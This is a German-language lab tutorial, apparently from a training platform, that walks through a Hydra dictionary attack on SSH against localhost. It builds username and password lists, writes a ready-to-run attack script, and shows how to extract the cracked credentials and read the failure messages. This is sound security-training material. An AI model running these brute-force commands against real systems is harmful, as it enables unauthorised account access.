Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie, wie Sie einen Wörterbuchangriff auf SSH-Services mit Hydra, einem leistungsstarken Passwortknackungstool, durchführen können. Sie werden den Prozess der Generierung von Benutzernamen- und Passwortlisten, die Konfiguration von Angriffsparametern und die Ausführung gezielter Brute-Force-Versuche gegen einen SSH-Server untersuchen.

Das Lab bietet praktische Erfahrungen mit Hydra's Befehlsstruktur, der Interpretation der Ausgabe und der Analyse der Ergebnisse. Sie üben das Überprüfen von Eingabedateien, das Starten von Angriffen und das Identifizieren erfolgreicher Anmeldeinformationen, während Sie gleichzeitig die gängigen Muster für fehlgeschlagene Versuche verstehen.


Skills Graph

%%%%{init: {'theme':'neutral'}}%%%% flowchart RL hydra(("Hydra")) -.-> hydra/HydraGroup(["Hydra"]) hydra/HydraGroup -.-> hydra/basic_structure("Basic Command Structure") hydra/HydraGroup -.-> hydra/single_username("Single Username Attack") hydra/HydraGroup -.-> hydra/single_password("Single Password Attack") hydra/HydraGroup -.-> hydra/ssh_attack("SSH Brute Force") hydra/HydraGroup -.-> hydra/output_saving("Output File Saving") hydra/HydraGroup -.-> hydra/verbose_mode("Verbose Mode Usage") hydra/HydraGroup -.-> hydra/success_detection("Login Success Detection") hydra/HydraGroup -.-> hydra/error_handling("Error Message Handling") subgraph Lab Skills hydra/basic_structure -.-> lab-549919{{"Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch"}} hydra/single_username -.-> lab-549919{{"Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch"}} hydra/single_password -.-> lab-549919{{"Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch"}} hydra/ssh_attack -.-> lab-549919{{"Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch"}} hydra/output_saving -.-> lab-549919{{"Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch"}} hydra/verbose_mode -.-> lab-549919{{"Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch"}} hydra/success_detection -.-> lab-549919{{"Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch"}} hydra/error_handling -.-> lab-549919{{"Führen Sie einen Wörterbuchangriff auf SSH mit Hydra durch"}} end

Benutzernamen- und Passwortlisten laden

In diesem Schritt bereiten Sie die wesentlichen Bestandteile für einen Wörterbuchangriff vor: Benutzernamen- und Passwortlisten. Ein Wörterbuchangriff funktioniert, indem jedes Wort in einer vordefinierten Liste (Wörterbuch) systematisch als potenzielle Anmeldeinformationen getestet wird. Für SSH-Angriffe benötigen wir zwei separate Dateien: eine, die mögliche Benutzernamen enthält, und eine andere, die mögliche Passwörter enthält.

  1. Navigieren Sie zunächst in das Projektverzeichnis, in dem wir unsere Dateien speichern werden. Dies hält alles organisiert:
cd ~/project
  1. Wir erstellen unsere Benutzernamenliste mit nano, einem einfachen Texteditor. Der Dateiname usernames.txt ist üblich, aber Sie könnten ihn auch anders benennen:
nano usernames.txt
  1. Geben Sie im nano-Editor gängige SSH-Benutzernamen ein, die Systeme möglicherweise verwenden. Jeder Benutzername sollte in einer eigenen Zeile stehen. Dies sind typische Standard- oder gängige Benutzernamen, die Administratoren möglicherweise verwenden:
admin
root
user
test
guest
labex
  1. Um in nano zu speichern, drücken Sie Strg+O (der Buchstabe O), dann Enter, um den Dateinamen zu bestätigen. Verlassen Sie nano mit Strg+X. Dadurch gelangen Sie zurück zur Befehlszeile.

  2. Erstellen Sie nun die Passwortdatei mit dem gleichen Verfahren. Schwache Passwörter wie diese sind in realen Systemen erstaunlich häufig:

nano passwords.txt
  1. Geben Sie diese gängigen Passwörter ein, jeweils eins pro Zeile. Beachten Sie, dass einige mit unseren Benutzernamen übereinstimmen - Menschen verwenden oft dieselbe Zeichenfolge für beides:
password
123456
admin
qwerty
letmein
labex
  1. Speichern und verlassen Sie nano wie zuvor (Strg+O, Enter, Strg+X).

  2. Lassen Sie uns überprüfen, ob unsere Dateien korrekt erstellt wurden. Der Befehl ls -l zeigt an, dass die Dateien existieren, während cat ihren Inhalt anzeigt. Dies ist eine wichtige Qualitätsprüfung, bevor Sie fortfahren:

ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt

Sie sollten beide Dateien mit ihren Größen aufgelistet sehen, gefolgt von ihrer angezeigten Inhalte. Diese Dateien bilden die Grundlage für unseren Wörterbuchangriff - Hydra wird in den nächsten Schritten systematisch jedes Benutzername/Passwort-Kombination aus diesen Listen gegen den SSH-Server testen.

Hydra für einen SSH-Wörterbuchangriff einrichten

In diesem Schritt konfigurieren Sie Hydra, um einen SSH-Wörterbuchangriff mit den im vorherigen Schritt erstellten Benutzernamen- und Passwortlisten durchzuführen. Ein Wörterbuchangriff ist eine Methode, bei der Hydra systematisch alle möglichen Kombinationen aus Ihren Wortlisten testet, um gültige Anmeldeinformationen zu finden.

  1. Stellen Sie zunächst sicher, dass Sie sich im richtigen Arbeitsverzeichnis befinden, in dem Ihre Projektdateien gespeichert sind:
cd ~/project

Dieser Befehl wechselt Ihr aktuelles Verzeichnis in den Projektordner, in dem wir arbeiten werden.

  1. Überprüfen Sie, ob Hydra installiert ist, indem Sie seine Version prüfen:
hydra -v

Sie sollten eine Ausgabe sehen, die die installierte Hydra-Version anzeigt. Dies bestätigt, dass Hydra einsatzbereit ist und hilft bei der Fehlerbehebung, falls später Probleme auftreten.

  1. Erstellen Sie eine Zieldatei namens target.txt, die die IP-Adresse des lokalen SSH-Servers enthält:
echo "127.0.0.1" > target.txt

Wir verwenden 127.0.0.1 (localhost) als Ziel, da wir in dieser Lab-Umgebung gegen unsere eigene Maschine testen.

  1. Machen Sie sich mit der grundlegenden Hydra-Befehlsstruktur für SSH-Angriffe vertraut:
hydra -L <username_list> -P <password_list> <target> ssh

Dies zeigt die minimal erforderlichen Parameter: Benutzernamenliste (-L), Passwortliste (-P), Ziel-IP/Hostname und den Service (ssh), gegen den wir angreifen.

  1. Bereiten Sie den eigentlichen Hydra-Befehl mit Ihren Dateien vor (führen Sie ihn aber noch nicht aus):
hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh

Hierbei bedeuten:

  • -L gibt die Benutzernamenlisten-Datei (usernames.txt) an
  • -P gibt die Passwortlisten-Datei (passwords.txt) an
  • -t 4 legt die Anzahl der parallelen Verbindungen fest (4 Threads für einen schnelleren Test)
  • -vV aktiviert die ausführliche Ausgabe, damit Sie den Angriffsprozess verfolgen können
  1. Speichern Sie diesen Befehl in einer Skriptdatei, um ihn im nächsten Schritt auszuführen:
echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh

Das Erstellen eines Skripts erleichtert das erneute Ausführen des Angriffs und stellt sicher, dass Sie den Befehl nicht falsch eintippen. Der chmod-Befehl macht das Skript ausführbar.

  1. Überprüfen Sie, ob alle erforderlichen Dateien vorhanden sind, bevor Sie fortfahren:
ls -l usernames.txt passwords.txt target.txt attack.sh

Diese abschließende Prüfung bestätigt, dass Sie alle erforderlichen Dateien haben: Benutzernamenliste, Passwortliste, Zieldatei und Ihr Angriffsskript.

Den SSH-Wörterbuchangriff ausführen

In diesem Schritt führen Sie den Hydra-SSH-Wörterbuchangriff mit der in den vorherigen Schritten vorbereiteten Konfiguration aus. Hydra ist ein beliebtes Passwort-Cracking-Tool, das systematisch verschiedene Benutzername- und Passwortkombinationen gegen einen Service wie SSH testet.

  1. Stellen Sie zunächst sicher, dass Sie sich im richtigen Arbeitsverzeichnis befinden, in dem sich Ihr Angriffsskript befindet. Dies ist wichtig, da Hydra Zugang zu Ihren Wortlisten und Konfigurationsdateien benötigt:
cd ~/project
  1. Überprüfen Sie, ob das Angriffsskript bereit ist, indem Sie seinen Inhalt anzeigen. Dies ermöglicht es Ihnen, die Hydra-Befehlsparameter vor der Ausführung noch einmal zu überprüfen:
cat attack.sh

Sie sollten den Hydra-Befehl sehen, den wir zuvor mit der richtigen Ziel-IP, dem Port und den Pfaden zu den Wortlisten vorbereitet haben.

  1. Stellen Sie vor der Ausführung sicher, dass der SSH-Service auf dem lokalen Rechner läuft, da wir gegen unsere eigene Maschine testen. Hydra benötigt einen aktiven SSH-Service, um Verbindungsversuche durchzuführen:
sudo service ssh status

Wenn der Service nicht läuft, starten Sie ihn mit:

sudo service ssh start
  1. Führen Sie das Angriffsskript aus. Dies startet Hydra mit allen von uns konfigurierten Parametern:
./attack.sh
  1. Beobachten Sie den Angriffsprozess in Echtzeit. Hydra gibt live Feedback an, das Folgendes zeigt:
  • Jeden Verbindungsversuch mit Benutzername/Passwort-Kombinationen
  • Erfolgreiche Anmeldungen (wenn gefunden, hervorgehoben)
  • Fehlgeschlagene Versuche (der Großteil der Ausgabe)
  • Endstatistiken, einschließlich Erfolgsrate und benötigter Zeit
  1. Die erwartete Ausgabe sieht ähnlich wie folgt aus, wenn ein gültiges Zugangsdatenpaar gefunden wird:
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1   login: labex   password: labex
1 of 1 target successfully completed, 1 valid password found
  1. Der Angriff wird automatisch unter folgenden Bedingungen beendet:
  • Wenn alle Kombinationen aus Ihren Wortlisten getestet wurden
  • Wenn ein gültiges Zugangsdatenpaar gefunden wurde (Standardverhalten von Hydra)
  • Wenn Sie ihn manuell mit Strg+C unterbrechen
  1. Um die Ergebnisse für eine spätere Analyse in einer Datei zu speichern, leiten Sie die Ausgabe um. Dies erstellt eine dauerhafte Aufzeichnung aller Versuche und Ergebnisse:
./attack.sh > attack_results.txt

Erfolgreicher Login anzeigen

In diesem Schritt analysieren Sie die Ergebnisse Ihres SSH-Wörterbuchangriffs, um erfolgreiche Anmeldeversuche zu identifizieren. Bei der Durchführung von Sicherheitstests ist es wichtig, Ihre Ergebnisse ordnungsgemäß zu dokumentieren und zu überprüfen, bevor Sie mit der weiteren Analyse fortfahren.

  1. Navigieren Sie zunächst in das Projektverzeichnis, in dem alle Ihre Lab-Dateien gespeichert sind:
cd ~/project
  1. Überprüfen Sie, ob Sie die Angriffsresultate aus dem vorherigen Schritt gespeichert haben. Der Befehl ls -l zeigt detaillierte Dateiinformationen, einschließlich Erstellungszeit und Berechtigungen:
ls -l attack_results.txt
  1. Wenn Sie die Ergebnisse zuvor nicht gespeichert haben, führen Sie diesen Befehl aus, um sie jetzt zu generieren. Das Symbol > leitet die Ausgabe von Hydra in eine Textdatei um, um sie später analysieren zu können:
./attack.sh > attack_results.txt
  1. Zeigen Sie die vollständigen Angriffsresultate an. Der Befehl cat zeigt den gesamten Inhalt einer Datei in Ihrem Terminal an:
cat attack_results.txt
  1. Suchen Sie nach erfolgreichen Anmeldungseinträgen, die in etwa in folgendem Format erscheinen. Jeder erfolgreiche Versuch enthält drei Schlüsselinformationen:
[22][ssh] host: 127.0.0.1   login: labex   password: labex
  1. Um nur die erfolgreichen Versuche aus möglicherweise großen Ergebnisdateien zu extrahieren, verwenden Sie grep, um Zeilen zu filtern, die "login:" enthalten. Dies spart Zeit bei der Überprüfung der Ergebnisse:
grep "login:" attack_results.txt
  1. Das Ausgabeformat zeigt drei wichtige Elemente, die Sie für die Überprüfung benötigen:
  • Ziel-IP-Adresse (127.0.0.1) – der Computer, der die Anmeldeinformationen akzeptiert hat
  • Erfolgreicher Benutzername (login) – der gültige Kontoname
  • Gültiges Passwort – das passende Passwort für dieses Konto
  1. Überprüfen Sie die Anmeldeinformationen, indem Sie einen SSH-Login versuchen. Dies bestätigt, dass die Anmeldeinformationen tatsächlich in einer echten SSH-Sitzung funktionieren:
ssh [email protected]

Geben Sie "yes" ein, um den Host-Schlüssel zu akzeptieren, wenn Sie dazu aufgefordert werden (dies geschieht beim ersten Verbindungsaufbau), und geben Sie dann das Passwort ein, wenn Sie dazu aufgefordert werden.

  1. Nach einem erfolgreichen Login beenden Sie die SSH-Sitzung ordnungsgemäß, um zum lokalen Terminal zurückzukehren:
exit
  1. Für eine bessere Lesbarkeit formatieren Sie die Ergebnisse mit dieser Befehlskette. Der Befehl awk strukturiert die Ausgabe in klare, beschriftete Felder um:
grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'

Verständnis von Fehlermeldungen bei Angriffen

In diesem Schritt werden wir die Ausgabe Ihres Hydra-SSH-Angriffs untersuchen, um zu verstehen, warum bestimmte Anmeldeversuche fehlgeschlagen sind. Die Analyse dieser Fehlermeldungen ist sowohl für Sicherheitsexperten, die Systemschwachstellen bewerten, als auch für Penetrationstester, die ihre Angriffsstrategien verfeinern, von entscheidender Bedeutung.

  1. Zunächst navigieren wir in das Projektverzeichnis, in dem die Angriffsresultate gespeichert sind. Dadurch stellen wir sicher, dass wir mit den richtigen Dateien arbeiten:
cd ~/project
  1. Jetzt werden wir die vollständige Angriffsresultatdatei anzeigen. Diese enthält alle Ausgaben von Hydra's Anmeldeversuchen:
cat attack_results.txt
  1. Um uns speziell auf fehlgeschlagene Versuche zu konzentrieren, filtern wir erfolgreiche Anmeldungen heraus und suchen nach häufigen FehlerMustern. Die grep-Befehle helfen, wichtige Fehlermeldungen zu isolieren:
grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"
  1. Hier sind die häufigsten Fehlermeldungen, die Sie begegnen werden, und was sie tatsächlich bedeuten:
  • invalid password: Der Benutzername war korrekt, aber das Passwort stimmte nicht überein
  • invalid user: Der Benutzername existiert nicht auf dem Zielsystem
  • connection refused: Der SSH-Service läuft nicht auf dem Zielsystem
  • connection timeout: Es gibt Netzwerkprobleme oder eine Firewall blockiert den Zugang
  • too many connections: Das Zielsystem hat schnelle Anmeldeversuche erkannt und blockiert
  1. Lassen Sie uns quantifizieren, wie oft jeder Fehlertyp aufgetreten ist. Das Zählen dieser Fehler hilft, Angriffsmuster zu verstehen:
grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt
  1. Um zu sehen, ob Fehler zu bestimmten Zeiten aufgetreten sind (was auf eine Rate-Limiting-Maßnahme hinweisen könnte), extrahieren und zählen wir Zeitstempel:
grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c
  1. Jetzt erstellen wir einen einfachen Zusammenfassungsbericht über die Fehler. Diese organisierte Ansicht hilft, Ihre Ergebnisse zu dokumentieren:
echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt
  1. Für eine tiefere Untersuchung können wir die SSH-Logs des Zielsystems prüfen (falls Sie Zugang haben). Diese enthalten oft detailliertere Fehlerinformationen:
sudo grep 'sshd' /var/log/auth.log | tail -20

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie einen Wörterbuchangriff auf SSH mit Hydra durchführen können, indem Sie Benutzernamen- und Passwortlisten vorbereiten. Der Prozess umfasste das Erstellen von Anmeldeinformationsdateien, die Überprüfung ihres Inhalts und die Strukturierung des Hydra-Befehls mit den richtigen Flags (-L, -P und -t) für einen effektiven Angriff.

Darüber hinaus haben Sie die Interpretation der Hydra-Ausgabe untersucht, um erfolgreiche Anmeldungen zu identifizieren und die Angriffsresultate zu analysieren. Dieses Lab hat die Wichtigkeit einer ordnungsgemäßen Dateivorbereitung, Befehlskonfiguration und systematischen Tests bei SSH-Anmeldeinformationsangriffen gezeigt.